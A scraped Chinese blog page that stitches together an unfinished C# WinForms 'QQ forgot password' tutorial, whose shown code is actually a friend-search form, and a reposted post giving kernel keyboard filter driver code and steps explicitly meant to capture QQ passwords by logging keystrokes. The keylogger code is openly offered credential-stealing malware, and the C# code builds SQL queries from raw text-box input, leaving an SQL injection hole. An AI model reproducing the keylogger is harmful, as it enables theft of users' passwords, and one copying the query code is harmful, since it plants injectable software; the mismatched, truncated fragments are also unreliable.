QQ忘记密码代码

首先需要在数据库中新建一张表把QQID、密保问题、密保答案都写进去

然后在进行一下代码编写:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Data.SqlClient;//SQL server、SQL语句所需命名空间。

namespace MyQQ
{
    public partial class SearchFrm : Form
    {
        public SearchFrm()
        {
            InitializeComponent();
        }
        //窗体加载时的
        private void SearchFrm_Load(object sender, EventArgs e)
        {
            //隐藏数据、按钮、容器控件
            this.dgvBase.Visible = false;
            this.dgvAdvance.Visible = false;
            this.btnAddFriends.Visible = false; ;
            this.btnUp.Visible = false;
            this.groupAdvance.Visible = false;
            //赋值与下拉框并且使下拉框只能选不能填
            this.cmbSex.Items.Add("--请选择--");
            this.cmbSex.Text = "--请选择--";
            this.cmbSex.Items.Add("男");
            this.cmbSex.Items.Add("女");
            this.cmbSex.DropDownStyle = ComboBoxStyle.DropDownList;
            this.cmbAge.Items.Add("--请选择--");
            this.cmbAge.Text = "--请选择--";
            this.cmbAge.Items.Add("18岁以下");
            this.cmbAge.Items.Add("18岁~25岁");
            this.cmbAge.Items.Add("25岁~35岁");
            this.cmbAge.Items.Add("35岁~45岁");
            this.cmbAge.Items.Add("46岁以上");
            this.cmbAge.DropDownStyle = ComboBoxStyle.DropDownList;
        }
        //点击此按钮显示容器控件并且txtNum得到焦点
        private void rdoAdvance_Click(object sender, EventArgs e)
        {
            this.groupAdvance.Visible = true;
            this.txtNum.Focus();
        }
        //点击此按钮隐藏容器并且文本框里面的值清空
        private void rdoAll_Click(object sender, EventArgs e)
        {
            this.txtNum.Text = "";
            this.txtNickName.Text = "";
            this.groupAdvance.Visible = false;
        }
        //基本查找的方法及情况
        public void BaseSearch()
        {
            string sql = "";
            if(this.rdoAll.Checked == true)
            {//查找所有人
                sql = "select Id,NickName,Age,Sex from users";
            }else if(this.rdoAdvance.Checked == true)
            {
                if (this.txtNum.Text == "" && this.txtNickName.Text == "")
                {
                    MessageBox.Show("请输入QQ号码或者昵称");
                    return;
                }
                if (this.txtNum.Text != "" && this.txtNickName.Text == "")
                {//1、有QQ号,无昵称
                    sql = string.Format("select id,nickname,age,sex from users where id={0}",this.txtNum.Text);
                }
                else if (this.txtNum.Text == "" && this.txtNickName.Text != "")
                {//2、无QQ号,有昵称
                    sql = string.Format("select id, nickname,age,sex from users where nickname='{0}'",this.txtNickName.Text);
                }
                else if (
  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值